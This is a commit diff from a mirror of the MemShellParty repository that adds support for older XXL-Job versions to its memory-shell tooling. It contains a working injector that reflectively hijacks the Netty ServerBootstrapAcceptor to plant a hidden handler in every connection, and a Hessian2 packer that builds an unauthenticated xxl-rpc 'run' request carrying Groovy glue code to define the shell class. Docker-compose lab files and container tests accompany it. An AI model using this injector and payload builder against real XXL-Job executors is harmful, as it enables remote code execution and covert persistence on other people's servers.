mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
feat: suitable for xxl-job < 2.2.0 #151
This commit is contained in:
+56
-36
@@ -1,13 +1,8 @@
|
|||||||
package com.reajason.javaweb.memshell.injector.xxljob;
|
package com.reajason.javaweb.memshell.injector.xxljob;
|
||||||
|
|
||||||
import com.xxl.job.core.biz.impl.ExecutorBizImpl;
|
|
||||||
import com.xxl.job.core.server.EmbedServer;
|
|
||||||
import io.netty.channel.ChannelHandler;
|
import io.netty.channel.ChannelHandler;
|
||||||
import io.netty.channel.ChannelInitializer;
|
import io.netty.channel.ChannelInitializer;
|
||||||
import io.netty.channel.socket.SocketChannel;
|
import io.netty.channel.socket.SocketChannel;
|
||||||
import io.netty.handler.codec.http.HttpObjectAggregator;
|
|
||||||
import io.netty.handler.codec.http.HttpServerCodec;
|
|
||||||
import io.netty.handler.timeout.IdleStateHandler;
|
|
||||||
|
|
||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
@@ -15,11 +10,8 @@ import java.io.IOException;
|
|||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.HashSet;
|
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
import java.util.concurrent.LinkedBlockingQueue;
|
import java.util.UUID;
|
||||||
import java.util.concurrent.ThreadPoolExecutor;
|
|
||||||
import java.util.concurrent.TimeUnit;
|
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -43,8 +35,11 @@ public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
try {
|
try {
|
||||||
inject();
|
if (inject()) {
|
||||||
msg += "[/*] ready\n";
|
msg += "[/*] ready\n";
|
||||||
|
} else {
|
||||||
|
msg += "failed, server channel not found\n";
|
||||||
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
msg += "failed " + getErrorMessage(e) + "\n";
|
msg += "failed " + getErrorMessage(e) + "\n";
|
||||||
}
|
}
|
||||||
@@ -58,25 +53,28 @@ public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel
|
|||||||
}
|
}
|
||||||
|
|
||||||
private static Class<?> handlerClass;
|
private static Class<?> handlerClass;
|
||||||
|
private static ChannelHandler originalChildHandler;
|
||||||
|
private final String handlerName = UUID.randomUUID().toString();
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
protected void initChannel(SocketChannel channel) throws Exception {
|
protected void initChannel(SocketChannel channel) throws Exception {
|
||||||
|
if (channel.pipeline().get(handlerName) != null) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
ChannelHandler channelHandler = (ChannelHandler) handlerClass.newInstance();
|
ChannelHandler channelHandler = (ChannelHandler) handlerClass.newInstance();
|
||||||
channel.pipeline()
|
channel.pipeline().addLast(originalChildHandler);
|
||||||
.addLast(new IdleStateHandler(0, 0, 30 * 3, TimeUnit.SECONDS))
|
String httpCodecName = null;
|
||||||
.addLast(new HttpServerCodec())
|
for (String name : channel.pipeline().names()) {
|
||||||
.addLast(new HttpObjectAggregator(5 * 1024 * 1024))
|
if (name.contains("HttpObjectAggregator")) {
|
||||||
.addLast(channelHandler)
|
httpCodecName = name;
|
||||||
.addLast(new EmbedServer.EmbedHttpServerHandler(new ExecutorBizImpl(), "", new ThreadPoolExecutor(
|
break;
|
||||||
0,
|
}
|
||||||
200,
|
}
|
||||||
60L,
|
if (httpCodecName != null) {
|
||||||
TimeUnit.SECONDS,
|
channel.pipeline().addAfter(httpCodecName, handlerName, channelHandler);
|
||||||
new LinkedBlockingQueue<>(2000),
|
} else {
|
||||||
r -> new Thread(r, "xxl-rpc, EmbedServer bizThreadPool-" + r.hashCode()),
|
channel.pipeline().addFirst(handlerName, channelHandler);
|
||||||
(r, executor) -> {
|
}
|
||||||
throw new RuntimeException("xxl-job, EmbedServer bizThreadPool is EXHAUSTED!");
|
|
||||||
})));
|
|
||||||
}
|
}
|
||||||
|
|
||||||
private Class<?> getShellClass(Object context) throws Exception {
|
private Class<?> getShellClass(Object context) throws Exception {
|
||||||
@@ -91,28 +89,50 @@ public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
public void inject() throws Exception {
|
public boolean inject() throws Exception {
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread != null && thread.getName().contains("nioEventLoopGroup")) {
|
if (thread != null && thread.getName().contains("nioEventLoopGroup")) {
|
||||||
Object target;
|
Object target;
|
||||||
try {
|
try {
|
||||||
target = getFieldValue(getFieldValue(getFieldValue(thread, "target"), "runnable"), "val$eventExecutor");
|
Object innerRunnable = getFieldValue(getFieldValue(thread, "target"), "runnable");
|
||||||
|
Field evField = getField(innerRunnable.getClass(), "val$eventExecutor");
|
||||||
|
if (evField == null) {
|
||||||
|
evField = getField(innerRunnable.getClass(), "this$0");
|
||||||
|
}
|
||||||
|
if (evField == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
target = evField.get(innerRunnable);
|
||||||
if (target.getClass().getName().endsWith("NioEventLoop")) {
|
if (target.getClass().getName().endsWith("NioEventLoop")) {
|
||||||
HashSet<?> set = (HashSet<?>) getFieldValue(getFieldValue(target, "unwrappedSelector"), "keys");
|
Set<?> set = (Set<?>) getFieldValue(getFieldValue(target, "unwrappedSelector"), "keys");
|
||||||
if (!set.isEmpty()) {
|
for (Object key : set.toArray()) {
|
||||||
Object keys = set.toArray()[0];
|
try {
|
||||||
Object pipeline = getFieldValue(getFieldValue(keys, "attachment"), "pipeline");
|
Object pipeline = getFieldValue(((java.nio.channels.SelectionKey) key).attachment(), "pipeline");
|
||||||
Object embedHttpServerHandler = getFieldValue(getFieldValue(getFieldValue(pipeline, "head"), "next"), "handler");
|
Object tail = getFieldValue(pipeline, "tail");
|
||||||
handlerClass = getShellClass(embedHttpServerHandler);
|
Object prevContext = getFieldValue(tail, "prev");
|
||||||
setFieldValue(embedHttpServerHandler, "childHandler", this);
|
Object acceptor = getFieldValue(prevContext, "handler");
|
||||||
return;
|
if (acceptor == null || !acceptor.getClass().getName().contains("ServerBootstrapAcceptor")) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
Field childHandlerField = getField(acceptor.getClass(), "childHandler");
|
||||||
|
if (childHandlerField == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
childHandlerField.setAccessible(true);
|
||||||
|
originalChildHandler = (ChannelHandler) childHandlerField.get(acceptor);
|
||||||
|
handlerClass = getShellClass(acceptor);
|
||||||
|
childHandlerField.set(acceptor, this);
|
||||||
|
return true;
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
} catch (Exception ignored) {
|
} catch (Exception ignored) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
@@ -0,0 +1,17 @@
|
|||||||
|
services:
|
||||||
|
admin:
|
||||||
|
image: reajason/xxl-job:2.0.2-admin
|
||||||
|
depends_on:
|
||||||
|
- db
|
||||||
|
ports:
|
||||||
|
- "8080:8080"
|
||||||
|
executor:
|
||||||
|
image: reajason/xxl-job:2.0.2-executor
|
||||||
|
depends_on:
|
||||||
|
- admin
|
||||||
|
ports:
|
||||||
|
- "9999:9999"
|
||||||
|
db:
|
||||||
|
image: mysql:8
|
||||||
|
environment:
|
||||||
|
- MYSQL_ROOT_PASSWORD=root
|
||||||
@@ -0,0 +1,17 @@
|
|||||||
|
services:
|
||||||
|
admin:
|
||||||
|
image: reajason/xxl-job:2.1.2-admin
|
||||||
|
depends_on:
|
||||||
|
- db
|
||||||
|
ports:
|
||||||
|
- "8080:8080"
|
||||||
|
executor:
|
||||||
|
image: reajason/xxl-job:2.1.2-executor
|
||||||
|
depends_on:
|
||||||
|
- admin
|
||||||
|
ports:
|
||||||
|
- "9999:9999"
|
||||||
|
db:
|
||||||
|
image: mysql:8
|
||||||
|
environment:
|
||||||
|
- MYSQL_ROOT_PASSWORD=root
|
||||||
@@ -447,6 +447,7 @@ public class ShellAssertion {
|
|||||||
case Base64 -> VulTool.postIsOk(url + "/b64", content);
|
case Base64 -> VulTool.postIsOk(url + "/b64", content);
|
||||||
case BigInteger -> VulTool.postIsOk(url + "/biginteger", content);
|
case BigInteger -> VulTool.postIsOk(url + "/biginteger", content);
|
||||||
case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content);
|
case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content);
|
||||||
|
case XxlJobHessian -> VulTool.xxlJobHessianExecutor(url + "/", content);
|
||||||
case H2, H2JS, H2Javac, H2JSURLEncode -> VulTool.postIsOk(url + "/jdbc", content);
|
case H2, H2JS, H2Javac, H2JSURLEncode -> VulTool.postIsOk(url + "/jdbc", content);
|
||||||
case XalanAbstractTransletPacker -> VulTool.postIsOk(url + "/jackson", content);
|
case XalanAbstractTransletPacker -> VulTool.postIsOk(url + "/jackson", content);
|
||||||
default -> throw new IllegalStateException("Unexpected value: " + packer);
|
default -> throw new IllegalStateException("Unexpected value: " + packer);
|
||||||
|
|||||||
@@ -6,6 +6,7 @@ import okhttp3.*;
|
|||||||
import org.junit.jupiter.api.Assertions;
|
import org.junit.jupiter.api.Assertions;
|
||||||
|
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
|
|
||||||
@@ -78,6 +79,23 @@ public class VulTool {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
public static void xxlJobHessianExecutor(String url, String base64Bytes) {
|
||||||
|
byte[] requestBytes = Base64.getDecoder().decode(base64Bytes);
|
||||||
|
OkHttpClient client = new OkHttpClient();
|
||||||
|
RequestBody body = RequestBody.create(requestBytes, MediaType.parse("application/octet-stream"));
|
||||||
|
Request request = new Request.Builder()
|
||||||
|
.url(url)
|
||||||
|
.post(body)
|
||||||
|
.addHeader("Connection", "close")
|
||||||
|
.build();
|
||||||
|
log.info("sending hessian2 xxl-rpc request to: {}", url);
|
||||||
|
try (Response response = client.newCall(request).execute()) {
|
||||||
|
log.info("xxl-rpc hessian2 response code: {}", response.code());
|
||||||
|
Thread.sleep(1000);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public static void xxlJobExecutor(String url, String data) {
|
public static void xxlJobExecutor(String url, String data) {
|
||||||
OkHttpClient client = new OkHttpClient();
|
OkHttpClient client = new OkHttpClient();
|
||||||
|
|||||||
+67
@@ -0,0 +1,67 @@
|
|||||||
|
package com.reajason.javaweb.integration.memshell.xxljob;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.Server;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import lombok.extern.slf4j.Slf4j;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
import org.junit.jupiter.params.ParameterizedTest;
|
||||||
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
|
import org.testcontainers.containers.ComposeContainer;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
import java.io.File;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||||
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/1/22
|
||||||
|
*/
|
||||||
|
@Testcontainers
|
||||||
|
@Slf4j
|
||||||
|
public class XxlJob202ContainerTest {
|
||||||
|
|
||||||
|
public static final String imageName = "xxljob/xxljob202";
|
||||||
|
|
||||||
|
@Container
|
||||||
|
public static final ComposeContainer compose =
|
||||||
|
new ComposeContainer(new File("docker-compose/xxl-job/docker-compose-202.yaml"))
|
||||||
|
.withExposedService("executor", 9999);
|
||||||
|
|
||||||
|
static Stream<Arguments> casesProvider() {
|
||||||
|
String server = Server.XXLJOB;
|
||||||
|
List<String> supportedShellTypes = List.of(ShellType.NETTY_HANDLER);
|
||||||
|
List<Packers> testPackers = List.of(Packers.XxlJobHessian);
|
||||||
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
|
}
|
||||||
|
|
||||||
|
@AfterAll
|
||||||
|
static void tearDown() {
|
||||||
|
String logs = compose.getContainerByServiceName("executor").get().getLogs();
|
||||||
|
log.info("container stopped, logs is : {}", logs);
|
||||||
|
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||||
|
}
|
||||||
|
|
||||||
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
|
@MethodSource("casesProvider")
|
||||||
|
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||||
|
ShellAssertion.shellInjectIsOk(getUrl(), Server.XXLJOB, shellType, shellTool, Opcodes.V1_8, packer);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String getUrl() {
|
||||||
|
String host = compose.getServiceHost("executor", 9999);
|
||||||
|
int port = compose.getServicePort("executor", 9999);
|
||||||
|
String url = "http://" + host + ":" + port;
|
||||||
|
log.info("container started, app url is : {}", url);
|
||||||
|
return url;
|
||||||
|
}
|
||||||
|
}
|
||||||
+67
@@ -0,0 +1,67 @@
|
|||||||
|
package com.reajason.javaweb.integration.memshell.xxljob;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.Server;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import lombok.extern.slf4j.Slf4j;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
import org.junit.jupiter.params.ParameterizedTest;
|
||||||
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
|
import org.testcontainers.containers.ComposeContainer;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
import java.io.File;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||||
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/1/22
|
||||||
|
*/
|
||||||
|
@Testcontainers
|
||||||
|
@Slf4j
|
||||||
|
public class XxlJob212ContainerTest {
|
||||||
|
|
||||||
|
public static final String imageName = "xxljob/xxljob212";
|
||||||
|
|
||||||
|
@Container
|
||||||
|
public static final ComposeContainer compose =
|
||||||
|
new ComposeContainer(new File("docker-compose/xxl-job/docker-compose-212.yaml"))
|
||||||
|
.withExposedService("executor", 9999);
|
||||||
|
|
||||||
|
static Stream<Arguments> casesProvider() {
|
||||||
|
String server = Server.XXLJOB;
|
||||||
|
List<String> supportedShellTypes = List.of(ShellType.NETTY_HANDLER);
|
||||||
|
List<Packers> testPackers = List.of(Packers.XxlJobHessian);
|
||||||
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
|
}
|
||||||
|
|
||||||
|
@AfterAll
|
||||||
|
static void tearDown() {
|
||||||
|
String logs = compose.getContainerByServiceName("executor").get().getLogs();
|
||||||
|
log.info("container stopped, logs is : {}", logs);
|
||||||
|
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||||
|
}
|
||||||
|
|
||||||
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
|
@MethodSource("casesProvider")
|
||||||
|
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||||
|
ShellAssertion.shellInjectIsOk(getUrl(), Server.XXLJOB, shellType, shellTool, Opcodes.V1_8, packer);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String getUrl() {
|
||||||
|
String host = compose.getServiceHost("executor", 9999);
|
||||||
|
int port = compose.getServicePort("executor", 9999);
|
||||||
|
String url = "http://" + host + ":" + port;
|
||||||
|
log.info("container started, app url is : {}", url);
|
||||||
|
return url;
|
||||||
|
}
|
||||||
|
}
|
||||||
+67
@@ -0,0 +1,67 @@
|
|||||||
|
package com.reajason.javaweb.integration.memshell.xxljob;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.Server;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import lombok.extern.slf4j.Slf4j;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
import org.junit.jupiter.params.ParameterizedTest;
|
||||||
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
|
import org.testcontainers.containers.ComposeContainer;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
import java.io.File;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||||
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/1/22
|
||||||
|
*/
|
||||||
|
@Testcontainers
|
||||||
|
@Slf4j
|
||||||
|
public class XxlJob250ContainerTest {
|
||||||
|
|
||||||
|
public static final String imageName = "xxljob/xxljob250";
|
||||||
|
|
||||||
|
@Container
|
||||||
|
public static final ComposeContainer compose =
|
||||||
|
new ComposeContainer(new File("docker-compose/xxl-job/docker-compose-250.yaml"))
|
||||||
|
.withExposedService("executor", 9999);
|
||||||
|
|
||||||
|
static Stream<Arguments> casesProvider() {
|
||||||
|
String server = Server.XXLJOB;
|
||||||
|
List<String> supportedShellTypes = List.of(ShellType.NETTY_HANDLER);
|
||||||
|
List<Packers> testPackers = List.of(Packers.XxlJob);
|
||||||
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
|
}
|
||||||
|
|
||||||
|
@AfterAll
|
||||||
|
static void tearDown() {
|
||||||
|
String logs = compose.getContainerByServiceName("executor").get().getLogs();
|
||||||
|
log.info("container stopped, logs is : {}", logs);
|
||||||
|
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||||
|
}
|
||||||
|
|
||||||
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
|
@MethodSource("casesProvider")
|
||||||
|
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||||
|
ShellAssertion.shellInjectIsOk(getUrl(), Server.XXLJOB, shellType, shellTool, Opcodes.V17, packer);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String getUrl() {
|
||||||
|
String host = compose.getServiceHost("executor", 9999);
|
||||||
|
int port = compose.getServicePort("executor", 9999);
|
||||||
|
String url = "http://" + host + ":" + port;
|
||||||
|
log.info("container started, app url is : {}", url);
|
||||||
|
return url;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -50,6 +50,9 @@ import com.reajason.javaweb.packer.velocity.VelocityPacker;
|
|||||||
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderDefineClassPacker;
|
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderDefineClassPacker;
|
||||||
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderPacker;
|
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderPacker;
|
||||||
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderScriptEnginePacker;
|
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderScriptEnginePacker;
|
||||||
|
import com.reajason.javaweb.packer.xxljob.XxlJobHessianPacker;
|
||||||
|
import com.reajason.javaweb.packer.xxljob.XxlJobJsonPacker;
|
||||||
|
import com.reajason.javaweb.packer.xxljob.XxlJobPacker;
|
||||||
import lombok.Getter;
|
import lombok.Getter;
|
||||||
|
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
@@ -180,6 +183,8 @@ public enum Packers {
|
|||||||
GroovyTransformJar(new GroovyTransformJarPacker()),
|
GroovyTransformJar(new GroovyTransformJarPacker()),
|
||||||
|
|
||||||
XxlJob(new XxlJobPacker()),
|
XxlJob(new XxlJobPacker()),
|
||||||
|
XxlJobJson(new XxlJobJsonPacker(), XxlJobPacker.class),
|
||||||
|
XxlJobHessian(new XxlJobHessianPacker(), XxlJobPacker.class),
|
||||||
;
|
;
|
||||||
private final Packer instance;
|
private final Packer instance;
|
||||||
private Class<?> parentPacker = null;
|
private Class<?> parentPacker = null;
|
||||||
|
|||||||
@@ -0,0 +1,57 @@
|
|||||||
|
package com.reajason.javaweb.packer.xxljob;
|
||||||
|
|
||||||
|
import com.caucho.hessian.io.Hessian2Output;
|
||||||
|
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||||
|
import com.reajason.javaweb.packer.Packer;
|
||||||
|
import com.reajason.javaweb.packer.Util;
|
||||||
|
import com.xxl.job.core.biz.model.TriggerParam;
|
||||||
|
import com.xxl.rpc.remoting.net.params.XxlRpcRequest;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.util.Base64;
|
||||||
|
import java.util.UUID;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2026/07/14
|
||||||
|
*/
|
||||||
|
public class XxlJobHessianPacker implements Packer {
|
||||||
|
private final String template = Util.loadTemplateFromResource("/memshell-party/XXL-Job-DefineClass.java");
|
||||||
|
|
||||||
|
@Override
|
||||||
|
@SneakyThrows
|
||||||
|
public String pack(ClassPackerConfig config) {
|
||||||
|
String source = template.replace("{{className}}", config.getClassName())
|
||||||
|
.replace("{{base64Str}}", config.getClassBytesBase64Str());
|
||||||
|
|
||||||
|
TriggerParam triggerParam = new TriggerParam();
|
||||||
|
triggerParam.setJobId(1);
|
||||||
|
triggerParam.setExecutorHandler("demoJobHandler");
|
||||||
|
triggerParam.setExecutorParams("demoJobHandler");
|
||||||
|
triggerParam.setExecutorBlockStrategy("COVER_EARLY");
|
||||||
|
triggerParam.setExecutorTimeout(0);
|
||||||
|
triggerParam.setLogId(1);
|
||||||
|
triggerParam.setLogDateTime(System.currentTimeMillis());
|
||||||
|
triggerParam.setGlueType("GLUE_GROOVY");
|
||||||
|
triggerParam.setGlueSource(source);
|
||||||
|
triggerParam.setGlueUpdatetime(System.currentTimeMillis());
|
||||||
|
triggerParam.setBroadcastIndex(0);
|
||||||
|
triggerParam.setBroadcastTotal(0);
|
||||||
|
|
||||||
|
XxlRpcRequest rpcRequest = new XxlRpcRequest();
|
||||||
|
rpcRequest.setRequestId(UUID.randomUUID().toString());
|
||||||
|
rpcRequest.setCreateMillisTime(System.currentTimeMillis());
|
||||||
|
rpcRequest.setAccessToken(null);
|
||||||
|
rpcRequest.setClassName("com.xxl.job.core.biz.ExecutorBiz");
|
||||||
|
rpcRequest.setMethodName("run");
|
||||||
|
rpcRequest.setParameterTypes(new Class<?>[]{TriggerParam.class});
|
||||||
|
rpcRequest.setParameters(new Object[]{triggerParam});
|
||||||
|
|
||||||
|
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
||||||
|
Hessian2Output hessian2Output = new Hessian2Output(bos);
|
||||||
|
hessian2Output.writeObject(rpcRequest);
|
||||||
|
hessian2Output.flush();
|
||||||
|
return Base64.getEncoder().encodeToString(bos.toByteArray());
|
||||||
|
}
|
||||||
|
}
|
||||||
+5
-2
@@ -1,7 +1,10 @@
|
|||||||
package com.reajason.javaweb.packer;
|
package com.reajason.javaweb.packer.xxljob;
|
||||||
|
|
||||||
import com.fasterxml.jackson.databind.ObjectMapper;
|
import com.fasterxml.jackson.databind.ObjectMapper;
|
||||||
import com.fasterxml.jackson.databind.SerializationFeature;
|
import com.fasterxml.jackson.databind.SerializationFeature;
|
||||||
|
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||||
|
import com.reajason.javaweb.packer.Packer;
|
||||||
|
import com.reajason.javaweb.packer.Util;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
|
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
@@ -11,7 +14,7 @@ import java.util.Map;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/1/21
|
* @since 2025/1/21
|
||||||
*/
|
*/
|
||||||
public class XxlJobPacker implements Packer {
|
public class XxlJobJsonPacker implements Packer {
|
||||||
private final String template = Util.loadTemplateFromResource("/memshell-party/XXL-Job-DefineClass.java");
|
private final String template = Util.loadTemplateFromResource("/memshell-party/XXL-Job-DefineClass.java");
|
||||||
private final ObjectMapper objectMapper = new ObjectMapper().enable(SerializationFeature.INDENT_OUTPUT);
|
private final ObjectMapper objectMapper = new ObjectMapper().enable(SerializationFeature.INDENT_OUTPUT);
|
||||||
|
|
||||||
@@ -0,0 +1,10 @@
|
|||||||
|
package com.reajason.javaweb.packer.xxljob;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.packer.AggregatePacker;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/1/21
|
||||||
|
*/
|
||||||
|
public class XxlJobPacker implements AggregatePacker {
|
||||||
|
}
|
||||||
@@ -0,0 +1,56 @@
|
|||||||
|
package com.xxl.job.core.biz.model;
|
||||||
|
|
||||||
|
import java.io.Serializable;
|
||||||
|
|
||||||
|
public class TriggerParam implements Serializable {
|
||||||
|
private static final long serialVersionUID = 42L;
|
||||||
|
|
||||||
|
private int jobId;
|
||||||
|
private String executorHandler;
|
||||||
|
private String executorParams;
|
||||||
|
private String executorBlockStrategy;
|
||||||
|
private int executorTimeout;
|
||||||
|
private long logId;
|
||||||
|
private long logDateTime;
|
||||||
|
private String glueType;
|
||||||
|
private String glueSource;
|
||||||
|
private long glueUpdatetime;
|
||||||
|
private int broadcastIndex;
|
||||||
|
private int broadcastTotal;
|
||||||
|
|
||||||
|
public int getJobId() { return jobId; }
|
||||||
|
public void setJobId(int jobId) { this.jobId = jobId; }
|
||||||
|
|
||||||
|
public String getExecutorHandler() { return executorHandler; }
|
||||||
|
public void setExecutorHandler(String executorHandler) { this.executorHandler = executorHandler; }
|
||||||
|
|
||||||
|
public String getExecutorParams() { return executorParams; }
|
||||||
|
public void setExecutorParams(String executorParams) { this.executorParams = executorParams; }
|
||||||
|
|
||||||
|
public String getExecutorBlockStrategy() { return executorBlockStrategy; }
|
||||||
|
public void setExecutorBlockStrategy(String executorBlockStrategy) { this.executorBlockStrategy = executorBlockStrategy; }
|
||||||
|
|
||||||
|
public int getExecutorTimeout() { return executorTimeout; }
|
||||||
|
public void setExecutorTimeout(int executorTimeout) { this.executorTimeout = executorTimeout; }
|
||||||
|
|
||||||
|
public long getLogId() { return logId; }
|
||||||
|
public void setLogId(long logId) { this.logId = logId; }
|
||||||
|
|
||||||
|
public long getLogDateTime() { return logDateTime; }
|
||||||
|
public void setLogDateTime(long logDateTime) { this.logDateTime = logDateTime; }
|
||||||
|
|
||||||
|
public String getGlueType() { return glueType; }
|
||||||
|
public void setGlueType(String glueType) { this.glueType = glueType; }
|
||||||
|
|
||||||
|
public String getGlueSource() { return glueSource; }
|
||||||
|
public void setGlueSource(String glueSource) { this.glueSource = glueSource; }
|
||||||
|
|
||||||
|
public long getGlueUpdatetime() { return glueUpdatetime; }
|
||||||
|
public void setGlueUpdatetime(long glueUpdatetime) { this.glueUpdatetime = glueUpdatetime; }
|
||||||
|
|
||||||
|
public int getBroadcastIndex() { return broadcastIndex; }
|
||||||
|
public void setBroadcastIndex(int broadcastIndex) { this.broadcastIndex = broadcastIndex; }
|
||||||
|
|
||||||
|
public int getBroadcastTotal() { return broadcastTotal; }
|
||||||
|
public void setBroadcastTotal(int broadcastTotal) { this.broadcastTotal = broadcastTotal; }
|
||||||
|
}
|
||||||
